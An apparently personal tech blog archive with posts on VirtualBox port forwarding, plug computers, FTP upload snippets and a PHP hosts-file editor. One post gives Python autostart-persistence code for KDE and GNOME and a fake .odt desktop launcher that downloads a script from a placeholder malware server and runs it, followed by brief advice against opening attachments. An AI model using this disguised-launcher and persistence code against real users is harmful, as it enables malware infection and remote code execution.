Archive

Archive for the ‘network’ Category

VirtualBox Port-Forward

March 16th, 2009 No comments

VirtualBox Port-Forward

Windows Batch Script:

:VirtualBox Port-Forward Script
@echo off
set GuestName=debian
set DescriptiveName=coupa
set HostPort=8080
set GuestPort=3000
set Protocol=TCP
set PATH_VBOX="C:\Program Files\Sun\xVM VirtualBox"
set DESK="C:\users\aayala\Desktop"
cd %PATH_VBOX%
if "%1%"=="" (
@echo usage: vboxport {start/stop}
goto :end
)
if "%1%"=="start" (
@echo on
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/HostPort" %HostPort%
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/GuestPort" %GuestPort%
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/Protocol" %Protocol%
goto :end
)
if "%1%"=="stop" (
@echo on
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/HostPort"
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/GuestPort"
VBoxManage setextradata %GuestName% "VBoxInternal/Devices/pcnet/0/LUN#0/Config/%DescriptiveName%/Protocol"
goto :end
)
:end
cd %DESK%

Plug Computing

February 27th, 2009 No comments

Plug Computing

A plug computer is a small, powerful computer that connects to an existing network using Gigabit Ethernet. This type of device eliminates the need for an always-on PC in the digital home to access these services.

http://www.marvell.com/featured/plugcomputing.jsp

http://www.marvell.com/files/products/embedded_processors/kirkwood/SheevaPlug-002_WEB.pdf

Categories: hardware, network Tags:

Insert Malware on GNOME or KDE as Attachment

February 12th, 2009 No comments

Insert Malware on GNOME or KDE as Attachment

The premise of this type of ‘Malware’ is simple:
Get a user to run an executable attachment you sent them via email.

KDE:

import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")

GNOME:

import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()

Launcher:

[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
						DROP=~/.local/.hidden ;
						mkdir -p $DROP;
						if [ -e /usr/bin/wget ] ;
						then wget $URL -O $DROP/s.py ;
						else curl $URL -o $DROP/s.py ; fi;
						python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png

Solutions for the problem:

The easiest solution to prevent this kind of problem is to not just
blindly click on attachments that people have sent you.
Does that sound like a sentence you have always heard in the
context of Windows before? You bet.
The point is: Even on Linux this advice should be taken
serious.

More information on http://www.geekzone.co.nz/foobar/6229

Categories: network, security, unix/linux Tags:

FTP for Developers

January 29th, 2009 2 comments

FTP for Developers

This examples upload a simple text file for a better implementations read the API or documentation for each language or command

Curl:

curl -T filename -u username:password ftp://hostname/filename

Perl:

use Net::FTP;
$hostname = "localhost";
$username = "user";
$password = "pass";
$filename = "file.txt";
$ftp = Net::FTP->new($hostname);
$ftp->login($username,$password);
$ftp->put($filename);
$ftp->quit;

To handle errors use “or die $@” (“$ftp>message” only if login success)

PHP:

<?php
$hostname = "localhost";
$username = "user";
$password = "pass";
$filename = "file.txt";
$conn = ftp_connect($hostname); 
ftp_login($conn, $username, $password);
ftp_put($conn,$filename,$filename,FTP_ASCII);
ftp_close($conn);
?>

To handle erros you can use “if(!function)”

Python:

import ftplib
hostname = "localhost"
username = "user"
password = "pass"
filename = "file.txt"
ftp = ftplib.FTP(hostname)
ftp.login(username, password) 
ftp.storlines("STOR " + filename, open(filename))
ftp.quit()

To handle errors use “try” and “except” and “else”

Ruby:

require 'net/ftp'
host = 'localhost'
user = 'user'
pass = 'pass'
file = 'file.txt'
ftp = Net::FTP.new(hostname)
ftp.login(username,password)
ftp.puttextfile(filename)
ftp.close

To handle errors use “begin”, “rescue”, “else”, “ensure” and “end”.

Win32 batch:

ftp -s:settings.txt hostname

settings.txt:

username
password
put filename
bye

To handle errors use “if not %errorlevel%==0 goto :error”

Easy Host Fake Win32

December 27th, 2008 No comments

Easy Host Fake Win32

Sometimes we want to redirect some host to another ip address, the quick option is edit the hosts file.

Well i made this tool to do that.

Java Desktop Application, needs Java RunTime:

Easy Host Fake Java Setup

Is my first Java desktop application on NetBeans

PHP5 script, needs Console Getopt Pear Package (getopt function don’t work on Windows, in the next php 5.3.0 could be)

need pear? run go-pear.bat on your php5 directory

c:\>pear install Console_Getopt

Windows Batch file:

:save this ehf.cmd on your %windir%
:set php-cli to your php.exe path
@set php-cli=c:\php5\php.exe
:set ehf script path
@set ehf=c:\develop\php\scripts\ehf.php
@%php-cli% %ehf% %1 %2 %3 %4

Script ehf.php:

 /* Script: Easy Host Fake
  * Author: Albertux (Alberto Isaac Ayala Esquivias)
  * WebSite: http://Albertux.AyalaSoft.com
  * FeedBack: <albertoi7@gmail.com>
  * License: GPLv3 (http://www.gnu.org/licenses/gpl.txt)
  * Note: you need Pear Package Console Getopt
  */
$ip_default = '127.0.0.1'; // default ip
$hosts_file = 'c:/windows/system32/drivers/etc/hosts'; // default hosts file
 
require_once 'Console/Getopt.php';
$options = Console_Getopt::getopt($_SERVER["argv"],"a:e:r:");
 
function about() {
echo "
Easy Host Fake (version 1.0.1) [2008-12-27]
 
Usage: ehf [OPTIONS]
 
Mandatory: \"-r\" or \"-e\" [host]
 
Options:
 
  -r [host] [redirect host to 127.0.0.1 (or other ip address)]
  -e [host] [erase host on hosts file]
  -a [ip address]
 
Examples:
 
  ewf -r google.com -a 192.168.1.1
  ewf -e google.com
 
More info [http://Albertux.AyalaSoft.com/2008/12/28/easy-host-fake-win32/]
";
}
 
function AddHost($host,$ip) {
	global $hosts_file;
	$handle = fopen($hosts_file,"a");
	fwrite($handle,"\r\n$ip\t$host\t# Easy Host Fake");
	fclose($handle);
}
 
function removeHost($host) {
	global $hosts_file;
	$handle = fopen($hosts_file, "r");
	$contents = fread($handle, filesize($hosts_file));
	fclose($handle);
	$pattern = '/\\r\\n(\d+)\.(\d+)\.(\d+)\.(\d+)\t'.$host.'\t# Easy Host Fake/';
	$replacement = "";
	$newcontents = preg_replace($pattern, $replacement, $contents);
	$handle = fopen($hosts_file,"w");
	fwrite($handle,$newcontents);
	fclose($handle);
}
 
function getValue($data,$var) {
	for ($i=0; $i<count($data[0]); $i++) {
		if ($var == $data[0][$i][0]) {
			break;
		}
	}
	return $data[0][$i][1];
}
 
if ($options->message) { about(); die(); }
 
$host = getValue($options,"r");
$ip = getValue($options,"a");
 
if (!$host) {
	$host = getValue($options,"e");
	if ($ip) { about(); die(); }
	if (!$host) { about(); die(); }
	removeHost($host); die();
}
 
if (!$host) { about(); die(); }
if (!$ip) { $ip = $ip_default; }
 
addHost($host,$ip);

Download php script + batch cmd

Note: on Windows Vista you need some permissions on hosts file, and remember all Web browsers use cache.

Categories: network, projects, security, web, windows Tags: , , ,

Switch to our mobile site